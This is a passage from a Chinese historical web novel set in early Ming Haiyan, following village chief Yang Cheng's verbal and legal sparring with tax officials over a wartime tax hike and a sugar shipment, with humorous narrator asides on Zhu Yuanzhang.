“郭大人,你的底子,我们清楚得很。真要狠查,你那师爷是扛不住这么大的事儿的。 再说了,你不拿,我怎么拿。我不拿,上面怎么拿?” 第五十六章 陈情 郭纲悚然而惊,一下站了起来,茶碗被衣袖带到了地上,摔得粉碎。 牛师爷迅速地从外面冲到门口:“老爷,怎么了?” 郭纲镇定了一下,扬声道:“没事儿,你继续守着,谁也不许进来。” 秦强就像什么事儿都没发生似的,依旧慢悠悠地品着茶,等着郭纲表态。 郭纲最后咬咬牙:“加税的事儿,我可以帮你办,但户部的文书你得改改!否则我不会下令。” 秦强点头微笑:“这不算什么,上面也料到了你会这么说,我改就是。 战时征税,要保证足额进到国库,就要征些损耗。朝廷加税不敢动,但这损耗却可以改。 说到底,我也不过是牛师爷而已。出了事儿,各为各的主子死就是了。” 郭纲忍不住嘲讽道:“牛师爷不过是个布衣幕僚,他只有命可卖,你可是六品主事,犯得着吗!” 秦强慢悠悠地拿过文书来,拿起笔在文书上加了几个字。 “郭知县,你见过蚂蚁过河吗?” 郭纲一愣,不知道秦强这跳跃性思维怎么这么诡异,但依旧摇摇头。 “我家在黄河边上,小时候发洪水,淹**很多人。 我被父母扔进缸里,缸口上横着一根木头,就这么飘着,想不到居然没翻。 我在漂的过程中看到过很多事,但让我印象最深的,却是一窝蚂蚁。 刚开始看见的时候,我都不知道自己看见的是什么,只看见了一个大黑球儿。 等到漂得近了,我才看清楚,那是无数蚂蚁组成的一个大球,在水上漂浮翻滚。 一会儿沉下去,一会儿浮上来,不时的有蚂蚁从上面掉落,想来是淹**。 那团蚂蚁就那么跟着我的缸一路往下游漂,随着淹死的蚂蚁越来越多,球也越变越小。 一直漂到岸边,那个球才散开,剩下的蚂蚁就上岸了。 所以你看,蚂蚁死多少层,取决于灾难有多大。但无论何时,越是核心的,就越安全。” 秦强站起身来笑道:“所以不管你爬到第几层,都得替更里面的死,六品主事又算得了什么?” 朝廷加税了!这个消息迅速传遍了整个海盐,人人都目瞪口呆。 之前的税虽然也重,但大家咬咬牙,总还能应付。可现在又加了一倍多,这该如何承受? 各村镇宗族,纷纷请粮长出面,到县衙**陈情。 杨成作为杨家湾的粮长,自然也责无旁贷,他和其他村的粮长汇合后,一同进城。 刚一进城,就见到正要出城的刘通。刘通赶紧从马车上跳下来,迎了上来。 “兄弟,朝廷下手也太狠了,商税直接加了一倍啊!原本是两成,现在直接变四成了! 而且税吏告诉我,下来督办的主事特意说,糖霜乃奢靡之物,再加征两成,也就是六成啊! 咱这糖霜利润虽高,可也架不住这么加啊,这么搞,我可就赔钱了呀。 我正想去找你讨个主意,咱们是否该加价售卖啊,总不能赔本干吧?” 糖霜利润很高,但那是杨成的利润。作为总商的刘通,现在中间也就是三四成利。 杨成想了想:“你立刻办两件事儿,第一,去跟杨草签个契约,把糖霜工坊卖一半儿给你。 记住,契约的日子就写在你刚跟白鹿山合作之后,纸张用稍微旧一点的,写完后烤一下,让墨也老点。” 刘通大吃一惊:“糖霜工坊?卖给我一半儿?天爷啊,那得多少钱啊,卖了我全家也买不起啊!” 杨成摇头道:“就写一千两吧,放心,我不跟你要钱。而且你拿了工坊,没有技术也没用。” 刘通虽然不明白,但还是点头,决定照做,他对杨成无比信任,确信杨成不会仙人跳他。 “第二,去找王德福,告诉他,海盐本地的顶级点心不卖了,全都运到外地去卖。 最好的都运到京城去,之前让他挨个公侯府邸去送样品,现在应该有些效果了。 海盐城里就卖些普通点心吧。你的糖霜也一样,本地不卖了,都运到京城去! 借用桂花斋的铺子当库房,其他买家都去那里进货,分给王德福一成利!” 刘通立刻兵分两路,让老车去给王德福带话,自己则亲自赶车直奔杨家湾。 杨成等粮长来到县衙门口,递上陈情书,请知县大人倾听下情。 郭纲从给税吏下令那天,就已经为这一天做准备了,当下立刻升堂,亲自接 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刘家湾的族长率先站起来拱手作揖:“两位大人,不是小民等不忠君爱国,实在是税赋太重了。” 白家村的族长也随后起立,采用类比法:“似苏州扬州等富庶之地不知如何,但海盐虽为江南,却地处偏远,难以与其相提并论啊。” 孙家庄的族长摆事实讲道理:“海盐靠海,是南方中的北方,人口多,良田少,若不是靠着有点作坊,早就撑不住了。” 郭纲也看着秦强,意思是该你出面了。秦强微笑起身,拱手团团一礼,十分谦和。 “各位的难处,朝廷尽知,但朝廷的难处更大,还请大家顾全大局。 便如一家一族,个人安危荣辱和国家比起来,实在算不了什么。 朝廷并没让大家浴血沙场,不过请大家散些浮财而已,大家便如此抗拒。 难怪我临行时听人说,东吴旧地,百姓对张士诚念念不忘,如今看来果然如此。 秦某束发读书,立志报国。各位若再出此无父无君之言,别怪秦某无礼!” 说完,秦强一挥手,守备吴礼带着兵丁跑过来,瞬间将县衙围住了。 第五十七章 挖坑 众人大惊,郭纲叹了口气,在自己心里默默盘算着。 秦强不过是个户部主事,品级虽然高一级,但体系不同,无论如何也调不动县城守备。 可秦强一来,吴礼就亲自迎接拜会,显然这两人背后有共同的,超越六部体系的关系。 吴礼是为了解白鹿山困境调来的,他背后势力显然和白鹿山的靠山是一样的。 吴礼如此听秦强的话,那吴礼的靠山和秦强的显然也是一致的。 所以已知甲等于乙,乙等于丙,则可知甲等于丙,这三人的靠山,都是同一个。 白鹿山不过是个民间涉黑的商人,之前给郭纲打招呼要求照顾的,是个吏部主事。 赵德柱被调走,吴礼被调来,则是兵部武选司的员外郎王义操作的。 如今户部主事秦强,是被户部派来的,能派他来的,至少也得是户部四品郎中的级别。 这靠山究竟是个什么人?能一手操控吏部、兵部、户部这三个要害部门的中低层官员? 郭纲心中惊惧,百姓就更惊惧了,堂上众粮长和堂下看热闹的百姓,都茫然无措,不敢出声。 杨成缓缓起身:“守备大人,你调兵包围县衙,是要把我们当成抗税刁民,杀良冒功吗?” 这个帽子有点大,吴礼赶紧摆手:“杨成,你不要胡说,本官只是见此处人多,怕出乱子,所以派兵协助县衙维持秩序罢了。” 杨成左右看了看面色惊慌的百姓:“大家都听见了,守备大人是来维持秩序的,大家不要乱。 大家一乱,就可能被人说成是骚乱,骚乱就意味着失控,那时守备大人就有理由抓人了。” 说完,杨成重新坐回到椅子上。其余粮长也都是老人精了,之前事出突然,有些慌乱,此时也静下心来,跟着坐下了。 人的情绪是能传染的,恐慌的情绪能,镇定的情绪也能。 见堂上众人如此淡定,围观百姓也渐渐安静下来。胆小的找个借口,就挤出人群回家了。 但大部分人都留下来了,毕竟堂上议论之事事关每个人,都想听个结果再走。 秦强眯起眼睛,打量着杨成。他的确是有给众人一个下马威的心思。 如果众人惊慌之下,情绪激动,或上前质问,冲撞自己;或东奔西跑,相互踩踏。 吴礼就会以聚众骚乱之名,抓几个领头的粮长,先关上几天吃点苦头,后面就好办多了。 想不到杨成一眼看穿了自己的设计,人群安定了,吴礼带着一帮士兵戳在外面,反而显得别有用心。 “杨成,本官听说过你,你是杨家湾的粮长,对吗?” 官员点名,杨成站起来拱手:“正是小民。” “你即为杨家湾的粮长,那请你说说看,这税,朝廷该加还是不该加呢?” 这一问十分阴险,直接把杨成放在了火炉上烤。 他若说该加,整个海盐的百姓都会对他失望,以后他的名望就会大损。 而杨成最大的资本,就是名望,这份无形资产,是他之前能成功的关键。 他若说不该加,话一出口,秦强就可以让人抓捕他,罪名是妖言惑众,诋毁朝廷。 这道理百姓可能不懂,但郭纲懂,堂上那些老成精了的粮长们也都懂。 白家村的粮长是白寡妇的堂叔,他担心杨成毕竟年轻,言多语失,咬咬牙站起身来。 “秦大人,杨家湾粮长近来多病,故而让杨成暂代,他刚干粮长没几天,经验尚浅,岂敢妄议国政?” 秦强微笑道:“哦?那就是说,杨成这个粮长并不称职了? 粮长有朝廷吏员身份,职位虽低,权柄却重。 杨家湾让一个不称职的人当粮长,岂不是辜负朝廷恩典,藐视朝廷威严吗?” 大白族长(和小白囤做区分)的挺身而出,为杨成争取了片刻的思考时间。 此时他眼见大白族长要惹火烧身,立刻接住秦强的话头儿。 “秦大人,此言差矣,朝廷征税,哪有该不该之说呢?只有忍不忍之说。” 秦强挑挑眉毛:“哦?此话怎讲?” 杨成慨然道:“普天之下莫非王土,率土之滨莫非王臣。朝廷有法度,天子有仁心。 朝廷征税,向来取之于民,用之于民。皇上若非万不得已,也不会忍心加税。 大明百姓,皆皇上子民。君父有忧,百姓自当尽力。百姓有难,君父自会垂怜。 皇上高居九重,对民间之事难免挂一漏万;百官代天牧民,自该为皇上查缺补漏。 今日我等上书陈情,正是请两位大人将民间疾苦转告皇上,以求君父垂怜。 若皇上知道百姓苦楚,自会以圣德仁爱之心权衡再三,务求兼顾国事民生。 若皇上权衡之后仍要征税,乃是以大局为重,亦不伤皇上仁爱之心。 但若两位大人连百姓下情都不肯听,不肯转,则是官员阻断皇上天视天听,蒙蔽圣聪。 故而我说,朝廷征税,并无该不该,只有忍不忍,不知两位大人以为然否?” 整个大堂一片寂静,堂下百姓都张大了嘴,郭纲也忍不住抬头看向秦强的表情。 杨成平时说话很少这么文绉绉的,他生于村野,身无功名,平时在村里说话自然不能装。 但今天这番话,正是百姓所谓的官话格式,言辞文雅,句式齐整,逻辑严谨。 围观人群中不乏书生,原本也都觉得秦强之问极难对答,此时听了这番话,不由得心悦诚服。 朝廷打仗,皇上加税当然没错,但皇上应该是不知道我们老百姓的苦,如果他老人家知道,一定会考虑降一点的。 如果皇上知道了我们的苦,还是忍心要加税,那说明皇上也真没办法了,只能顾全大局,我们也能理解。 那皇上怎么才能知道下面的情况呢?当然是你们这些当官的责任。我们都写了陈情书了,你们不转达,是想干啥? 蒙蔽圣聪,这个词放在其他朝代,可能只是句官员之间痛快痛快嘴的虚词,但在洪武朝,这就是最要命的词儿! 提问:朱元璋这辈子最恨的事儿是什么?地主?豪商?贪官?功臣?后宫(马皇后除外)? 其实都不是…… 第五十八章 风暴前夜 朱元璋恨地主富户,但他只能恨一下,任何封建王朝的稳定,都离不开地主富户。 而且随着他变成了最大的地主,他对这些人也产生了一定的阶级认同,知道地主想干好了也不容易,总有刁民想害朕。 朱元璋恨豪商,所以他苛以重税,立法打压豪商的社会地位和人格尊严。 有钱不让你花!不让你穿绸缎,不让你养奴仆!让你腰间沉甸甸硬邦邦,但无用武之地! 但朝廷缺钱,而商业确实来钱快,所以朱元璋对豪商也只能是一边吐口水一边伸手。 朱元璋恨贪官,一杀一堆,剥皮萱草。可贪官就像到刑场参观的旅游团一样,络绎不绝。 朝廷不能没有官,有官就有贪。所以朱元璋对贪官就像对抖M一样,尽情鞭挞,但不能彻底打死。 朱元璋恨功臣,这个心态不太好猜,但从他对待功臣的手段看,不像是纯粹的政治行为,肯定带点个人情绪。 大胆推测一下,朱元璋看功臣的心态,就跟杨二蛋看杨成差不多,知道必须要杀人家,对不起人家,所以更狠人家。 朱元璋恨后宫,倒是没有那么扭扭捏捏,直接恢复殉葬制度,既解决了后宫干政的后顾之忧,又防止了死后被戴绿帽子的风险。 但以上这些,都不是朱元璋最恨的答案。 朱元璋一辈子最恨的就是被人蒙蔽,被人分权,胡惟庸就是撞在了这个枪口上。 什么意图谋反,这罪名听起来就可笑,胡惟庸除非是忽然间得了精神病,否则绝不敢在朱元璋活着时有这个念头儿。 别说胡惟庸了,只要朱元璋还有一口气,朱棣也只能乖乖地接受削藩,绝不敢搞什么靖难。 胡惟庸最大的罪过,就是朱元璋觉得宰相的权利太大了,竟然有人可以不通过朕就办事儿! 那你死吧,不但你死,连同几千年的宰相制度也跟你一起死,朕,决不许有人分朕的权利! 而在所有的权利里,知情权是第一位的。所以要有御史言官,要有锦衣卫,就是为了保证知情权。 所以,秦强深吸了一口气,忽然觉得现在被架在火炉上烤的人变成了自己。 虽然他知道朱元璋绝不是也因为不知道江南疾苦才加的税,但他也知道杨成的潜台词。 不上报陈情,你觉得没必要?什么时候轮到你觉得了?你凭什么替皇上决定要不要了解下情? 上报陈情,一来一回至少得耽误十几天。皇上会不会觉得自己废物,靠山又会怎么想? 郭纲倒是不着急,反正有专员督办,自己只是辅助,天塌下来品级高的顶着! 秦强思来想去,开口道:“你所言也有道理,此下情我等自会禀明朝廷。 不过若为此事耽搁了征税,耽误了出兵,我们吃罪不起。所以税还是要先收的。 若果然皇上垂怜,减少了你们的税赋,郭知县自然会退还给你们的。” 秦强的话既巧妙摆脱了两难之局,又把郭纲套了进来。想独善其身,你想得美! 话说到这个份儿上,已经没法再谈了。众粮长们纷纷告辞离去。 秦强和杨成交锋一回合,看似平手,但秦强占了身份立场的便宜。 秦强的背后是皇上,是朝廷,不是杨成能挡得住的,现在打平就出线的变成了秦强。 粮长们跟着杨成回到了杨家湾,此时刘通的马车,还有两辆桂花斋的马车,已经把工坊库存的糖霜都装上了。 杨成跟刘通打了个招呼:“赶紧走吧,尽量快跑,万一跑不出去,就再拉回来。 记住,不管谁问你,这糖霜工坊从那契约时间后就已经是你的了!” 刘通跟桂花斋的伙计们把鞭子抡出了残影,呼啸着冲出杨家湾,沿着官道往县城相反的方向猛冲。 杨成带着众粮长在祠堂外的空地坐下,老族长带着儿子们过来送茶,一起商讨。 海盐城在这几年算得上风调雨顺,加上当初杨老虎拼死护持,城乡人口和经济都没被乱兵破坏掉。 所以家家户户还有些余粮和积蓄,朝廷临时加征五成税赋,砸锅卖铁也不是不能交上。 可在这五成税赋之上,户部还要加征两成的损耗。如此一来,就是七成了。 且户部文书写得清楚,因为朝廷急用军饷,故而百姓不能全以粮食缴税,要半粮半银。且不接受宝钞。 平时交税,都是全粮交税。如今急用军饷,半粮半银看似合理,其实内里可操作空间极大。 百姓手中普遍有粮无银,即使一些中等富户,家中也很少存现银,都是存粮。 平时还好,粮食和银子的汇率基本稳定,但如果忽然要大家都换成银子,那短时间内必然粮贱银贵。 地方上铜钱和银子最多的地方,就是县衙银库,毕竟那是一县的财政中心。 而地方上最大的粮店,往往也都与官府的粮仓之间有合作关系,银钱仓储都是互通的。 所以百姓要用银钱交税,就得先把一半儿粮食卖给官府,换来银钱,再把银钱缴纳给官府。 银钱实际上只是在官府和百姓手里转了一圈儿,但这一圈,就像糖霜转白鹿山一样,能抽走两成的血。 这还没算上淋斛踢斗等常规手段,就已经相当于整个加了一倍的税赋了,百姓交完税后,估计也要倾家荡产了。 众粮长都是多年与官府打交道,这些猫腻十分清楚,但也都毫无办法,只是默默抽烟叹气。 许久后,孙家庄的族长低声道:“也许皇上圣明,能给咱们减上两成三成的,不会饿死咱们吧。” 众人都没吭声,杨成摇头道:“别指望了,当今皇上行事,从无回头之事。 哪怕所有人都说他错了,哪怕他自己也知道错了,但也绝不会认错,最多事后找补。” 大白族长叹气道:“那咱们上书陈情还有何意义?不是瞎子点灯,白费蜡吗?” 杨成淡淡道:“我让大家上书陈情,本来就不是为了打动皇上的。而是要见见征税官员。 税是皇上要征的,咱们不能造反,就没法抗税。可收税的人却不是动不得的。 不管是谁,想让咱们倾家荡产,想让咱们活不下去,那他也别想好过。” 杨草从远处匆匆跑来,在杨成耳边低声说了几句话,杨成脸上略微轻松了一些。 “各位爷叔,请你们回村告诉大家,大家的粮食不要低价售卖。 交税所需银子,大家可来我这里借,以地契抵押,若无田地者,宗族可保。” 第五十九章 走私 三辆马车满载着糖霜,疯狂地向外冲,那是往京城的方向,只要出了海盐,就好办了。 身后出现了追兵的身影,烟尘滚滚,人数不少,但可惜只有领头的守备吴礼有马,其他都是步兵。 马车的速度当然比不上战马,但肯定比两条腿儿的步兵快多了,所以很快追兵就只剩下了吴礼一个人。 刘通眼看吴礼越追越近,赶紧冲那两辆车大喊道:“你们快跑,前面就是盐城界了,入了边界就好了!” 喊完后,自己直接勒住马车横在了路中间,忍着心疼,拿鞭子狠狠抽打了马屁股几下。 马被抽得莫名其妙,自从来到刘通家,刘通对自己待若上宾,草料都是上品,平时也舍不得鞭打。 就像一个穷小子,忽然拥有了一辆豪车,恨不得天天擦车,连大灯都拿手盘得油光锃亮。 今天也不知道这厮是抽了什么风,从村里出来就一路狂鞭,堪称站起来打。 这也罢了,毕竟咱是马车,不管平时多爱护,真到急用时毛躁一点咱也能理解。 可现在他把马车的闸杠都拉起来了,分明是不想走了啊!可他不想走,为啥还拼命打我呀? 这根本不是马车的正确用法啊!我是让你开的,又不是让你抽的,老子没有那个癖好! 那马长嘶一声,上蹿下跳,比过年的猪还激动,但闸杠死死地顶着车轮,让它只能原地转圈儿。 很多城巴佬没见过真正的马车,大概都以为马车是没有刹车的,全靠嘴“吁”。 作为真正开过马车的老司机,杨成要告诉大家,马车是有刹车的,而且还是手刹。 具体原理讲起来太水了,大家可以自行查找资料,大体上和老式自行车的刹车类似。 当吴礼骑马冲过来的时候,被转圈的马车硬生生地拦住了。 官道依地势而建,并不总是很宽的,也有窄吧的地方,此处就是一处。 这段路的宽度大概是双向两车道,现在马车以右轮儿为支点疯狂转圈,划出的圆儿基本覆盖了整条路。 吴礼如果想强行冲过去,就得离开官道,走应急车道,也就是庄稼地。 但这块是水田,马要下去没准就会陷了马蹄子,因此吴礼只能下马先控制住转圈儿的马车。 当着吴礼的面儿,刘通就不好再抽马了,因此马也渐渐平静下来。 吴礼让刘通靠边儿停车后,警告刘通就在原地等着,不许逃逸,否则以逃犯论处。 说完重新上马,拼命地追前面的两辆马车去了。 刘通松了口气,浑身是汗,手脚发软,心疼地抚摸着马屁股。 “宝贝儿啊,不是我心狠啊,我这也是为了生意,你能理解我的吧?你也不想咱家倾家荡产吧?” 刘通没跑,一是不敢逃逸,二是他知道,吴礼在前面,步兵在后面,自己是跑不掉的。 但他给那两辆马车争取了宝贵的时间,那两辆马车疯狂前冲,车轱辘都要跑冒烟了。 吴礼仗着马快,拼命追赶,一边追一边大喊:“前面的两辆马车,给我靠边儿停车!” 两辆车假装听不见,其实确实也听不太清楚,木头轱辘跑起来胎噪太大了。 吴礼喊了两声也喊不动了,因为前面两辆车跑得刚土扬尘地,他一张嘴就是满口风吹来的沙。 吴礼眼中闪着怒火——但也得眯着,烟尘实在太大了,咬牙紧追不舍。 就在吴礼即将追上马车的那一刻,一队人马突兀地出现在前面,让过了两辆马车,挡住了吴礼。 吴礼喘着粗气,看着眼前的队伍,领头的正是新任盐城守备赵德柱。 赵德柱笑嘻嘻地看着吴礼:“老兄这是干什么呢,这里可是盐城地界了,统兵守备,无旨私离驻地,这罪可不轻啊!” 吴礼急得直跳:“拦住,拦住前面那两辆车,他们涉嫌走私!” 赵德柱笑了笑:“老兄放心,我前面有人,肯定能拦住他们。到时我自会详查的,若真是走私,我定然严惩不贷。” 吴礼此时的气儿也喘匀净了,他瞪着赵德柱,半天才开口道。 “我知道你和杨成关系不浅,不过这次的事儿,是户部派人来盯着的,你该明白深浅!” 赵德柱挖了挖耳朵:“走的什么私?是私盐吗?还是铁器啊?要么是火药? 咱大明除了这三样,其余都谈不上走私吧?咱们都是兵部的,你把户部抬出来干什么?” 吴礼咬牙低声道:“你装什么糊涂?你是怎么从海盐到盐城的,难道心里没数儿吗?” 赵德柱笑道:“还能是怎么来的?当然是我抓贼有功啊,都编成戏了,我还看了两场呢。” 吴礼怒极反笑:“好好好,拿了别人点钱,就这么卖命,我看你的前程也就到这儿了!” 赵德柱缓缓收起笑容,淡然道:“没错,拿了别人点钱,就不顾是非黑白,傻乎乎地给人卖命。 我倒要看看,老兄你将来的前程,能有多高多远。” 说完,赵德柱不再搭理吴礼,一挥手,带着士兵往回走。 吴礼怒极,待要跟上时,赵德柱恶狠狠地甩下一句。 “没有兵部调令,没有圣旨,你敢擅离驻地,侵入盐城县域,信不信我一箭射死你!” 吴礼愣在原地半天,才吐了口含沙量极高的口水,勒马转身往回走。 刘通已经被百十个兵丁包围了,明初的驻军,兵丁是不随着将军调动的,所以兵丁们还是原来那些人。 而且刘通惯会做事,他每人给了几个铜钱,这些兵丁都很开心,嘻嘻哈哈的。 见吴礼沉着脸回来,兵丁们赶紧都站直了,也不敢笑了。 吴礼上车,一把拉开一个大盒子,里面晶莹如雪的糖霜,在阳光下熠熠生辉。 “你想把这些糖霜运到哪里去?” 刘通陪笑道:“我不是糖霜总商嘛,很多来进货的客人,都嫌海盐地处偏远,交通不便利。 那些大客户大都在京城或扬州落脚,那里交通便利,他们顺道就进货了。 所以我把糖霜运到这几处地方的铺面里,没办法,客户就是神仙啊,咱得供着呀。” 吴礼冷笑道:“你还敢装糊涂?你分明是看海盐加了商税,想要走私到京城逃税! 来人啊,把他给我抓起来,这些糖霜就是走私之物,带回守备府!” 一个声音在人群外冷冷地响起:“吴大人,你这是要以权谋私,强抢民财吗?” 第六十章 告示 吴礼一惊,转头向外看去,围着马车的兵士散开,露出了一辆牛车。 这也是兵士们之前没做出反应的原因,如果是一辆马车飞速奔来,他们肯定会注意到。 但这牛车不紧不慢地走过来,他们还以为是哪个农民赶车下地呢。 牛车上象征性地放着几捆柴草,却满满地坐了七八个人,人人拎着一把斧头。 老牛一脸委屈,显然觉得这一趟活不但超速了,而且超重了。 远处还有一群人在往这边走,显然牛车虽然慢,但还是比两条腿快多了。 吴礼眯起眼睛,盯着杨成手中的斧头,语气阴冷,缓缓说道。 “青天白日的,你们手持凶器,对抗官兵,是要造反吗?” 杨成满脸诧异:“我们都是上山去砍柴的,不拿着斧头难道用牙啃吗? 我们都有砍柴证,是县尊大人按规矩核发的,怎能算手持凶器?” 吴礼怒道:“这是去柴山的路吗?前面就要出县界了,你的柴山难道在盐城县吗?” 杨成不慌不忙说道:“柴砍多了,自己用不了,想沿着官道看看能不能卖出去,换几个钱花。 怎么,大明律哪一条规定砍柴的不能在官道上卖柴吗?” 吴礼深吸一口气:“卖柴用得着这么多人吗?你们前后加起来有上百人,这至少是无故聚众!” 杨成淡淡一笑:“将军,难怪你当武官,大明律你也不怎么学吧? 无故聚众,那是指无关人员因某个目的聚在一起。这些人虽多,但都是我杨家湾的啊! 我们同族兄弟在一起,怎么能叫无故聚众呢?要按将军的意思,我们聚在村口聊天也是无故聚众了? 各村各庄,哪个族里不开会?祠堂鼓声一响,全村人都聚在一起,也是无故聚众了?” 吴礼脑瓜子发涨,但也知道杨成的话更占理,这简直是岂有此理! 他明明就是带人来对抗自己的,自己也知道他是来对抗自己的,他也知道自己知道他是来对抗自己的。 可偏偏他的解释都说得通,一群有证持斧的樵夫,砍完柴后沿官道找买主,没毛病啊! 吴礼晃晃脑袋,决定来硬的:“既然如此,本官不耽误你们卖柴了,你也别耽误本官办差!” 杨成点点头:“将军办差可以,但这位刘通先生,是我村工坊的股东,这糖霜也是我村财务。 将军要扣押刘通,抢走糖霜,我身为杨家湾族长,村长,粮长,却是不能不管。” 吴礼大怒,如果这是个普通乡下泥腿子,他早就一巴掌打倒,再抽上几鞭子了。 可面对杨成,他必须谨慎。上面有话,要动杨成,必须有合理的借口。 有借口,动杨成就是秉公执法,百姓敢闹事儿,就可定性为骚乱甚至暴动,可以名正言顺地镇压。 没有借口,动杨成就是官逼民反,激起民变,到时即使镇压下去,也可能会后患无穷。 所以吴礼必须要讲理,他想了想:“刘通企图走私糖霜,这些糖霜是罪证,本官为何扣押不得?” 杨成摇头道:“大明只有盐、铁、火药需经官专卖,私运私卖者视为走私。 糖霜乃民用之物,甚至都不是普通百姓常用之物,何谈走私之说?” 吴礼铁青着脸,从怀里掏出一张告示:“这是县衙刚发的告示,城墙上已经贴上了。 即日起,凡本次加税之地,商品出境皆视为交易,需按本地税率缴纳税赋!” 杨成看了看墨迹未干的告示,摇了摇头:“将军不但不学大明律法,连地方规矩都不学。 地方规矩,凡官府告示,城中张贴之日起,衙门需派员到各村中送告示给粮长。 由粮长在村中张贴宣扬,当日不知者不罪,次日不知者粮长与不知者同罪。 你这告示今天刚贴出来,都还没送到各村各庄,谁能知道?你这分明是陷人以罪!” 陷人以罪,翻译成现代话,就是钓鱼执法,而且杨成说的规矩也确实存在。 大明没有网络,甚至连电报都没有,所以不管是朝廷政令,还是地方法规,传播开来都需要时间。 假设朝廷出台了一个规定,老百姓以后不许把猪叫猪,一律要叫“豕”,否则一律杖责打屁股。 那这个规定要多久才能正式生效呢?据不严谨统计,要全国生效至少也要一个半月之后。 当然,各地府城估计有十几天就生效了,但下面的县城可能就要二十多天,而县城下的乡下则要一个多月,这还不考虑边远山区。 那么,如果朝廷出台规定的第二天,就派人上街四处抓叫“猪”的人,显然就是钓鱼执法。 所以地方上都有延迟执法的规定,毕竟确立法规是为了长治久安,不是为了收拾人好玩儿的。 在此解释一下:明朝不能说“猪”这个知识其实是个伪知识,属于后人瞎掰的。 古代避讳讲究的是讳名不讳姓,也就是皇帝叫了朱元璋,你就不能叫李元璋了,但你肯定可以姓朱。 当然也不能说老朱家在这事儿上完全冤枉,因为他们家出了个奇葩,正德皇帝朱厚照。 这家伙属猪,又姓朱,于是忽然有一天突发奇想,命令全国都不许养猪了。 谁敢养猪,直接全家流放充军。也就是说,谋反罪>养猪罪>杀人罪,养猪在C位。 这算是斩草除根了,连猪这种东西都灭绝了,也就不用担心人们天天喊猪了。 至于在野外碰上野猪,人们大概率喊的也不会是“猪”,而是“救命”。 但这个规定过于奇葩,以至于朝野上下都极力反对,所以只维持了三个月就撤销了。 按照大明朝廷政令的传播速度,应该是全国刚开始要杀猪,就重新养上了。 所以杨成的反驳有理有据,吴礼只能换一个角度继续。 “就算不是走私,本官在后面呼喊,让他们靠边儿停车,他们依旧继续狂奔。 本官身为海盐城守备,有权审查一切过往车辆,他们胆敢抗拒审查,难道不为罪吗?” 杨成指了指刘通:“刘通一向老实本分,请问将军,你呼喊之后,他没停车吗? 是你强行把他拦停的,还是他主动停下的?这刹车杠都快把轮子磨断了,你敢说他没停车?” 刘通立刻大声喊冤:“将军啊,你可不能昧着良心说话啊!这些兵丁都看在眼里的。 你离我还很远的时候,我就已经拼命停车了。这畜生不听话,我还打它来着!” 第六十一章 无耻 吴礼咬牙切齿,可他也知道,这些兵跟自己时间不长,还没养熟,是很难众口一词帮自己圆谎的。 刘通说的是事实,众目睽睽之下,他也很难否认,所以他只能捏着鼻子承认了。 “但那两辆车呢?他们却没有听命停下,这难道不是违抗官府审查?” 刘通赶紧道:“那两辆车的马好,把我的车拉下很远。我虽然能听见将军的呼喊,那两辆车却听不见。 若是听见了,他们哪还敢继续跑,早就靠边儿停车了。还请将军息怒啊。” 吴礼气得七窍生烟,偏生又说不出道理来,正在无能狂怒之时,一辆马车缓缓而来。 秦强一撩车帘,走下车来。吴礼赶紧把发生的事儿说了一遍。 秦强看着杨成,微微一笑:“我以为我想到得够快了,想不到你还是快了一步。果然思虑周全,反应迅速。” 杨成拱手道:“大人所言,在下不懂。刘通正常做生意,并未违反朝廷法度。 既然如今告示已经送到我这里,在下自当召集村民,宣读法条,告诫大家不可再犯。” 秦强看了看车上的大盒儿糖霜:“果然是好东西啊。可惜只出去了两车,能省多少银子? 接下来的一个月内,海盐必须完税。而本官保证,这一个月内,你一粒糖霜也运不出去了。” 杨成淡然道:“王命如风,百姓如草。风吹草低,令行禁止。 百姓皆是良善百姓,无需大人反复强调,也自然会遵纪守法的。” 秦强哈哈大笑:“是吗,既然遵纪守法,为何偷税漏税?难道你不知道这是要坐牢流放的吗?” 杨成不解道:“此话从何说起?刚才不是说过了,我等还不知道县衙告示,故而送货出境吗?” 秦强摇头道:“我说的不是这个,本官查了县衙税簿,刘通只缴纳了他卖给京福斋的税款。 可杨草卖给他的糖霜,却没缴过税,这难道不是偷税漏税?本官要抓杨草,也是名正言顺! 你不要说那糖霜不是杨草卖给刘通的,杨草和刘通的契约,刘通和京福斋的契约,本官手上都有!” 杨成恍然大悟:“原来是这件事儿啊,那难怪大人误会。这两份契约都是白鹿山留下的吧? 那大人就该知道,这两份契约是怎么落到白鹿山手里的吧?你没问问郭知县?” 秦强冷笑道:“契约的来龙去脉与本官无关,本官只认这白纸黑字! 你就是说这契约是白鹿山把刀压在刘通脖子上拿到的,也是空口无凭,死无对证罢了。” 杨成摇头道:“秦大人误会了,我没有否认这契约的真实性,但这契约是两部分。 刘通和白鹿山的契约,那是他们之间的事儿,与杨草无关。 刘通和杨草的契约,也是他们之间的事儿,与白鹿山无关。 所以如果刘通和杨草要重新签新的契约,也和白鹿山无关,这没错吧?” 秦强隐隐觉得有些不妙,他逼视着杨成,希望能看到他的心虚,可惜他失望了。 “若刘通和杨草重新签了新的合约,按规矩也该废掉之前的契约,才能签新的!” 杨成点头道:“你看,我就说吧,在律法规则方面,文官就是比武官精通。 但秦大人可能忘了,如果契约双方有人丢失了旧契约,无法废掉时,也是可以签新契约的。 当两份契约同时出现时,当以签约时间最新的那份为准,我说得没错吧?” 秦强默然,这确实没错。因为任何律法规矩都要考虑现实情况制定。 两人签了契约,正常情况下要修改契约,肯定是双方都要废掉旧契,再签新契。 可世事无常,如果一方的契约拿不出来了,例如丢了或者毁了,甚至双方都拿不出来了,怎么办? 那就直接签新的,如果将来谁又拿出旧的来找后账,官府也会以最新时间的那份为准。 “所以,刘通现在手里是有一份最新签的契约了?” 刘通刚要开口,杨成先开口了:“也不算最新了,其实就是在白鹿山拿到契约后的第二天签的。” 刘通吓出一身冷汗,他刚才差点就被秦强给下套儿了,因为他确实就是刚签的,心里还在发虚。 万一刚才自己露出破绽,被秦强揪住小辫子抡起来,这事儿就麻烦了。 秦强逼问道:“为何要签新的契约?是不是为了逃税?” 杨成对答如流:“因为刘通单方面把跟杨草的契约给了白鹿山,杨草当然不肯。 你刘通和白鹿山的契约是你俩的事儿,凭什么把杨草拉进去,所以杨草就要废掉契约。 白鹿山仗势欺人,刘通又拿不会被他拿走的契约,双方自然就要按一方丢失来签新的了。” 秦强步步紧逼:“那在白鹿山之前呢?刘通之前也跟杨草买过糖霜!他卖给过桂花斋!” 杨成笑了笑:“桂花斋用过刘通的糖霜,这个大家都知道,白鹿山也是因此才动手的。 可大人有所不知,那糖霜刘通是卖给桂花斋的,所以这部分已经交过税了。 